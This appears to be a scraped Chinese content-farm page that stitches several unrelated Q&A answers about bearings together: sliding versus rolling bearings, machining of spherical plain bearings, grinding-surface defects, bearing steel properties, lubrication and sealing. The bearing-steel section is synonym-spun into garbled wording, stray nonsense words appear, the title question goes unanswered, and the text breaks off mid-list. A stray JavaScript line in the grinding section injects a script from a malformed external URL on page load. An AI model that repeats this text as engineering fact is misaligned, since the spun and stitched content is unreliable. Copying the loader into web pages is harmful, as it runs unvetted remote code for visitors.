叉车轴承外表面为什么进行双硬度

⑴ 滑动轴承和滚动轴承的优缺点各适用于什么场合

滑动轴承和滚动轴承的优缺点？各适用于什么场合

一）滑动轴承的型别和特性
1.滑动轴承按照承受的载荷分为:
（1）向心滑动轴承（径向滑动轴承）;主要承受径向载荷；
（2）推力滑动轴承,主要承受轴向载荷。
2.滑动轴承适用于低速、高精度、过载和结构上要求剖分的场合。在低速而有冲击的场合也常采用。
3.向心滑动轴承
（1）整体式、剖分式
剖分式一般由轴承盖、轴承座、轴瓦和联接螺栓等组成。
（2）轴瓦是轴承中的关键零件。
轴瓦材料应有摩擦系数小、导热性好、热膨胀系数小、耐磨、耐蚀、抗胶合能力强、有足够的机械强度和可塑性等效能。
（3） 对轴瓦材料的要求：轴承合金（巴氏合金）、青铜、特殊效能的轴承材料等。
4.推力滑动轴承（了解）
（1）推力滑动轴承有固定式和可倾式。
（2）推力滑动轴承的止推面可以利用轴的端面,也可以在轴的中段做出凸肩或装推力圆盘。
（二）滚动轴承的型别和特性
1.滚动轴承的分类

按滚动体的形状分为：球轴承、滚子轴承。
2.滚动轴承的特性
（1）优点：
滚动轴承与滑动轴承相比，具有摩擦阻力小、启动灵敏、效率高、润滑简便和易于更换等优点。
（2）缺点：
抗冲击能力较差、高速时出现噪声、工作寿命不如液体润滑的滑动轴承。

球轴承和滚子轴承各有何优缺点,适用于什么场合

球轴承是滚动轴承的一种，球滚珠装在内钢圈和外钢圈的中间，能承受较大的载荷。也叫滚珠轴承。用于承载能力不大，要求经济的配合地方。
滚子轴承是用短圆柱、圆锥或腰鼓形滚子作滚动体的滚动轴承。主要有向心短圆柱滚子、双列向心球面滚子、圆锥滚子和推力滚子等结构型式。这类滚子主要用于圆柱滚子轴承，还可以将滚子元件直接用于机械中。该类滚子在尺寸上已标准化，可作为商品滚子供设计和使用者选择。

与滚动轴承比较，滑动轴承有何特点？适用于何种场合

你好，我是凯美瑞KMR轴承。滑动轴承就是通常说的平面轴承，其形式简单，接触面积大，如果润滑保持良好，抗磨效能会很好，轴承寿命也会很长。滑动轴承的承载能力大，回转精度高，润滑膜具有抗冲击作用。因此在工程上获得广泛的应用。但他最大的缺点是无法保持足够的润滑油储备，一旦润滑剂樱慧不足，它立刻产生严重磨损并导致失效。
滑动轴承在三种分类方式：
滑动轴承滑动轴承根据承受载荷的方向不同可分为：推力滑动轴承和径向滑动轴承
根据润滑膜形成原理不同分为：动压滑动轴承和静压滑动轴承
根据结构形式不同可分为：整体式滑动轴承剖分滑动轴承
特点：
和滚动轴承相比，滑动轴承具有承载力高，抗震性好，工作平稳可靠，噪音小，寿命长等特点。它被广泛应用在内燃机，轧钢机，大型电机及仪表，雷达，天文望远镜等方面。

滑动轴承与滚动轴承的区别，各用于什么场合？

滑动轴承中轴和孔直接接触。滚动轴承中轴和孔之间有滚动体（球或滚子），滚动轴承可以在较大的引数范围内获得较小的摩擦力矩。
在简单结构中用滑动轴承为减低造价。
在特殊应用场合中应用滑动轴承可以获得滚动轴承无法实现的功能，例如高速，过载，冲击。

哪些场合滚动轴承难于代替滑动轴承

负荷大的场合，截面小的场合。

滑动轴承和滚动轴承各有什么特点, 滚动轴承和滑动轴承哪个成本高?

(1)滑动轴承（sliding bearing），在滑动摩擦下工作的轴承。滑动轴承工作平稳、可靠、无噪声。在液体润滑条件下，滑动表面被润滑油分开而不发生直接接触，还可以大大减小摩擦损失和表面磨损，油膜还具有一定的吸振能力。但起动摩擦阻力较大。轴被轴承支承的部分称为轴颈，与轴颈相配的零件称为轴瓦。为了改善轴瓦表面的摩擦性质而在其内表面上浇铸的减摩材料层称为轴承衬。轴瓦和轴承衬的材料统称为滑动轴承材料。常用的滑动轴承材料有轴承合金（又叫巴氏合金或白合金）、耐磨铸铁渣颂高、铜基和铝基合金、粉末冶金材料、塑料、橡胶、硬如尺木和碳-石墨，聚四氟乙烯（PTFE）、改性聚甲醛（POM）、等。滑动轴承应用场合一般在低速过载工况条件下，或者是维护保养及加注润滑油困难的运转部位。
将运转的轴与轴座之间的滑动摩擦变为滚动摩擦，从而减少摩擦损失的一种精密的机械元件，叫滚动轴承（rolling bearing）。滚动轴承一般由外圈，内圈，滚动体和保持架组成。其中内圈的作用是与轴相配合并与轴一起旋转，外圈作用是与轴承座相配合，起支撑作用，滚动体是借助于保持架均匀的将滚动体分布在内圈和外圈之间，其形状大小和数量直接影响着滚动轴承的使用效能和寿命，保持架能使滚动体均匀分布，防止滚动体脱落，引导滚动体旋转起润滑作用。
(2)滚动轴承使用维护方便，工作可靠，起动效能好，在中等速度下承载能力较高。与滑动轴承比较，滚动轴承的径向尺寸较大，减振能力较差，高速时寿命低，声响较大。滚动轴承中的向心轴承（主要承受径向力）通常由内圈、外圈、滚动体和滚动体保持架4部分组成。内圈紧套在轴颈上并与轴一起旋转，外圈装在轴承座孔中。在内圈的外周和外圈的内周上均制有滚道。当内外圈相对转动时，滚动体即在内外圈的滚道上滚动，它们由保持架隔开，避免相互摩擦。推力轴承分紧圈和活圈两部分。紧圈与轴套紧，活圈支承在轴承座上。套圈和滚动体通常采用强度高、耐磨性好的滚动轴承钢制造，淬火后表面硬度应达到HRC60～65。保持架多用软钢冲压制成，也可以采用铜合金夹布胶木或塑料等制造。
滚动轴承和滑动轴承的区别首先表象在结构上，滚动轴承是靠滚动体的转动来支撑转动轴的，因而接触部位是一个点，滚动体越多，接触点九越多；滑动轴承是靠平滑的面来支撑转动轴的，因而接触部位是一个面。其次是运动方式不同，滚动轴承的运动方式是滚动；滑动轴承的运动方式是滑动，因而摩擦形势上也就完全不相同。

滚动轴承是轴及其他旋转构件的重要支承，是最早采用专业化大批量生产方式的机械基础件之一。早在20世纪初，西方各国相继出现了比较完整的轴承工业体系，为不断提高滚动轴承的效能和寿命、降低产品成本、增加品种、扩大其适用范围以及理论研究、计算方法的不断完善等提供了良好的环境。目前滚动轴承的选型计算方法比较完善，产品种类繁多、规格齐全，工作效能、精度、寿命、可靠度等能满足各个领域及尖端技术的需求。
滚动轴承通常由一个内圈，一个外圈和一组滚动体（球或滚子）以及一个用对套圈滚道之间的滚动体以确定间隔进行定位的保持架组成。内、外圈和滚动体用标准材料均为高碳铬轴承钢或渗碳钢。该钢要按可获得优化耐滚动接触疲劳性的适当硬度作为热处理。轴承表面用专用机床磨削到一个很高的精度。
滚动轴承各种型别中的第一种都有各自特有的特点，然而下列特点对于大多数滚动轴承型别则是共同的：
1、滚动轴承具有比较低的启动阻力。滚动轴承启动和动转阻力之间略有不同。
2、尺寸和精度都已标准化。高精度的成品很容易得到。
3、与滑动轴承相比，滚动轴承不容易磨损，有助于保持使用中机器的精度。
4、滚动轴承消耗润滑剂量小而且维修费用远远低于滑动轴承。
5、虽然不是所有滚动轴套的共性，但是很多轴承都能承受轴向和径向两种载荷。

滑动轴承和滚动轴承可以组合使用吗

一般都不是组合使用的。要么都是滑动轴承，要么都是滚动轴承。滑动轴承和滚动轴承使用的“机理”不同。

滚动轴承和滑动轴承相比有什么优势么？

滚动轴承摩擦系数是滑动轴承十二分之一，高转数。过载荷不如滑动轴承。

⑵ 向心关节轴承内外圈是怎么加工的

一、加工方法：

一般采用开缝外圈向心关节轴承及其加工方法，该轴承由外圈、内圈、密封圈组成，内、外圈均采用渗碳钢制造，且均为心部较软，外表面较硬。该轴承加工方法是，外圈采用双开缝型式，在轴承外圈准备开缝位置的对称位置分别先钻一个引裂孔，然后沿引裂孔到两边端面分别铣两段引裂弧，再对外圈进行表面渗碳热处理，使外圈表面包括两个引裂孔及引裂弧表面硬度均达到54HRC～62HRC，再采用常规的开缝工艺，轴承外圈便可以沿着引裂孔及引裂弧位置所处截面，裂开成两个半圆外圈，且裂缝整齐完好。该轴承具有抗冲击、耐磨损的特点。

二、关节轴承的简单介绍：

关节轴承的结构比滚动轴承简单，其主要是由一个有外球面的内圈和一个有内球面的外圈组成。关节轴承一般用于速度较低的摆动运动（即角运动），由于滑动表面为球面形，亦可在一定角度范围内作倾斜运动（即调心运动），在支承轴与轴壳孔不同心度较大时，仍能正常工作。

三、关节轴承的图示：

⑶ 影响轴承工件表面粗糙度有哪些因素

轴承表面粗糙度分析 
轴承在磨加工过程中，其工作表面是通过高速旋转的砂轮进行磨削的，因此在磨削时如果不按规定进行操作和调整设备，就会在轴承工作表面出现种种粗糙度缺陷，以致影响轴承的整体质量。轴承在精密磨削时，由于表面粗糙度要求很高，工作表面出现的磨削痕迹往往能用肉眼观察到，其表面磨削痕迹主要有以下几种。 
一、表现出现交叉螺旋线痕迹 
    出现这种痕迹的原因主要是由于砂轮的母线平直性差，存在凹凸现象，在磨削时，砂轮与工件仅是部分接触，当工件或砂轮数次往返运动后，在工件表现就会再现交叉螺旋线且肉眼可以观察到。这些螺旋线的螺距与工件台速度、工件转速大小有关，同时也与砂轮轴心线和工作台导轨不平行有关。 （一）螺旋线形成的主要原因： 
1.砂轮修整不良，边角未倒角，未使用冷却液进行修整； 2.工作台导轨导润滑油过多，致使工作台漂浮； 3.机床精度不好； 4.磨削压力过大等。 
（二）螺旋线形成的具体原因： 
1.V形导轨刚性不好，当磨削时砂轮产生偏移，只是砂轮边缘与工作表面接触； 2.修整吵轮时工作台换向速度不稳定，精度不高，使砂轮某一边缘修整略少； 3.工件本身刚性差； 
4.砂轮上有破碎太剥落的砂粒和工件磨削下的铁屑积附在砂轮表面上，为此应将修整好的砂轮用冷却水冲洗或刷洗干净； 5.砂轮修整不好，有局部凸起等。 二、表面出现鱼鳞状 
    表面再现鱼鳞状痕迹的主要原因是由于砂轮的切削刃不够锋利，在磨削时发生“啃住”现象，此时振动较大造成工件表面出现鱼鳞状痕迹的具体原因是： 1. 砂轮表面有垃圾和油污物； 2. 砂轮未修整圆； 

var script = document.createElement('script'); script.src = 'http://static.pay..com/resource/chuan/ns.js'; document.body.appendChild(script);

3. 砂轮变钝，修整不够锋利； 
4. 金刚石紧固架不牢固，金刚石摇动或金刚石质量不好不尖锐； 5. 砂轮硬度不均匀等。 三、工作面拉毛 
    表面再现拉毛痕迹的主要原因是由于粗粒度磨粒脱落后，磨粒夹在工件与砂轮之间而造成。工件表面在磨削时被拉毛的具体原因是： 1. 粗磨时遗留下来的痕迹，精磨时未磨掉； 2. 冷却液中粗磨粒与微小磨粒过滤不干净； 3. 粗粒度砂轮刚修整好时磨粒容易脱落； 4. 材料韧性有效期或砂轮太软； 5. 磨粒韧性与工件材料韧性配合不当等。

⑷ 轴上面装轴承的位置为什么要淬火吗

轴上面装轴承的位置要淬火，准确说是进行局部淬火。
装轴承处有公差配合要求，如果该处的光洁度太差，则无法满足尺寸的精度要求。没经淬火的材料质地相对较软，加工时难以使轴表面得到较高的光洁度。轴承位要进行局部淬火的主要目的是硬化轴表面，从而容易把轴表面加工到较高的光洁度，保证轴承的顺利装配。

进行局部淬火会使该部位的过冷奥氏体进行马氏体或贝氏体转变，得到马氏体或贝氏体组织，再经过回火，可以大幅提高此部位的刚性、硬度、耐磨性、疲劳强度以及韧性等。这样，不仅满足上述的表面硬化要求，也改善了此处的局部强度。

⑸ 轴承钢为什么耐磨

为了提高 硬度、耐磨性和淬透性，轴承钢适当加入一 些硅、锰、钼等，如GCr15SiMn。这 类轴承钢产量最大，占所有轴承钢 产量的95%以上。渗碳轴承钢是含 碳量为0.08～0.23%的铬、镍、钼 合金结构钢，制成轴承零件后表面 进行碳氮共渗，以提高其硬度和耐 磨性，这种钢用于制造承受强冲击 载荷的大型轴承，如大型轧机轴承、 汽车轴承、矿机轴承和铁路车辆轴 承等。

⑹ 轴承的基本知识

轴承（Bearing）是当代机械设备中一种重要零部件。它的主要功能是支撑机械旋转体，降低其运动过程中的摩擦系数（friction coefficient），并保证其回转精度（accuracy）。

历史发展

调心滚子轴承

调心滚子轴承有两列对称型球面滚子，主要承受径向载荷，同时也能承受任一方向的轴向载荷，但不能承受纯轴向载荷。该类轴承外圈滚道是球面形，故其调心性能良好，能补偿同轴度误差，当轴受力弯曲或安装不同心时轴承仍可正常使用，调心性随轴承尺寸系列不同而异，一般所允许的调心角度为1~2.5度 ，该类型轴承的负荷能力较大，除能承受径向负荷外轴承还能承受双向作用的轴向负荷，具有较好的抗冲击能力，一般来说调心滚子轴承所允许的工作转速较低。适用于重载或振动载荷下工作。

法兰轴承

法兰轴承外轮上带有凸缘法兰。特点是能简化主机结构，缩小主机尺寸，使轴承更容易定位。

带座轴承

向心轴承与座组合在一起的一种组件，在与轴承轴心线平行的支撑表面上有个安装螺钉的底板。

组合轴承

一套轴承内同时由上述两种以上轴承结构形式组合而成的滚动轴承。如滚针和推力圆柱滚子组合轴承、滚针和推力球组合轴承、滚针和角接触球组合轴承等。

直线轴承

直线轴承分为金属直线轴承和塑料直线轴承。

金属直线轴承是一种以低成本生产的直线运动系统，用于无限行程与圆柱轴配合使用。由于承载球与轴呈点接触，故使用载荷小。钢球以极小的摩擦阻力旋转，从而能获得高精度的平稳运动。

塑料直线轴承是一种自润滑特性的直线运动系统，其于金属直线轴承最大的区别就是金属直线轴承是滚动摩擦，轴承与圆柱轴之间是点接触，所以这种适合低载荷高速运动；而塑料直线轴承是滑动摩擦，轴承与圆柱轴之间是面接触，所以这种适合高载荷中低速运动。

轴承材料

轴承钢的特点：

一、接触疲劳强度

轴承在周期负荷的作用下，接触外表很轻易发作疲惫破坏，即涌现龟裂剥落，这是轴承的重要破坏情势。因而，为了进步轴承的运用寿命，轴承钢必需具备很高的接触疲惫强度。

二、耐磨性能

轴承任务时，套圈、滚动体和维持架之间不只发作滚动摩擦，而且也会发作滑动摩擦，从而使轴承零件一直地磨损。为了增加轴承零件的磨损，维持轴承精度稳固性，延伸运用寿命，轴承钢应有很好的耐磨性能。

三、硬度

硬度是轴承质量的重要质量之一，对接触疲惫强度、耐磨性、弹性极限都有间接的影响。轴承钢在运用状况下的硬度个别要到达HRC61~65，能力使轴承取得较高的接触疲惫强度和耐磨性能。

四、防锈性能

为了避免轴承零件和成品在加工、寄放和运用历程中被侵蚀生锈，请求轴承钢应具备良好的防锈性能。

五、加工性能

轴承零件在消费历程中，要经过许多道冷、热加工工序，为了满意少量量、高效力、高质量的请求，轴承钢应具备良好的加工性能。例如，冷、热成型性能，切削加工性能，淬透性等。

轴承钢除了上述基础请求外，还应当到达化学成分恰当、外部组织平均、非金属搀杂物少、外部外表缺点契合规范以及外表脱碳层不超越规则浓度等请求。

用途应用

编辑语音

轴承作用

究其作用来讲应该是支撑，即字面解释用来承轴的，但这只是其作用的一部分，支撑其实质就是能够承担径向载荷。也可以理解为它是用来固定轴的。轴承快易优自动化选型有收录。就是固定轴使其只能实现转动，而控制其轴向和径向的移动。电机没有轴承的话根本就不能工作。因为轴可能向任何方向运动，而电机工作时要求轴只能作转动。从理论上来讲不可能实现传动的作用，不仅如此，轴承还会影响传动，为了降低这个影响在高速轴的轴承上必须实现良好的润滑，有的轴承本身已经有润滑，叫做预润滑轴承，而大多数的轴承必须有润滑油，负责在高速运转时，由于摩擦不仅会增加能耗，更可怕的是很容易损坏轴承。把滑动摩擦转变为滚动摩擦的说法是片面的，因为有种叫滑动轴承的东西。

润滑

滚动轴承的润滑目有减少轴承内部摩擦及磨损，防止烧粘；延长其使用寿命；排出摩擦热、冷却，防止轴承过热，防止润滑油自身老化；也有防止异物侵入轴承内部，或防止生锈、腐蚀之效果。

润滑方法

轴承的润滑方法，分为脂润滑和油润滑。为了使轴承很好地发挥机能，首先，要选择适合使用条件、使用目的的润滑方法。若只考虑润滑，油润滑的润滑性占优势。但是，脂润滑有可以简化轴承周围结构的特长，将脂润滑和油润滑的利弊比较。润滑时要特别注意用量，不管是油润滑还是脂润滑，量太少润滑不充分影响轴承寿命，量太多会产生大的阻力，影响转速。

密封

轴承的密封可分为自带密封和外加密封两类。所谓轴承自带密封就是把轴承本身制造成具有密封性能装置的。如轴承带防尘盖、密封圈等。这种密封占用空间很小，安装拆卸方便，造价也比较低。所谓轴承外加密封性能装置，就是在安装端盖等内部制造成具有各种性能的密封装置。轴承外加密封又分为非接触式密封与接触式密封两种。其中非接触式密封适用于高速和高温场合，有间隙式、迷宫式和垫圈式等不同结构形式。接触式密封适用于中、低速的工作条件，常用的有毛毡密封、皮碗密封等结构形式。

根据轴承工作状况和工作环境对密封程度的要求，在工程设计上常常是综合运用各种密封形式，以达到更好的密封效果。对轴承外加密封的选择应考虑下列几种主要因素：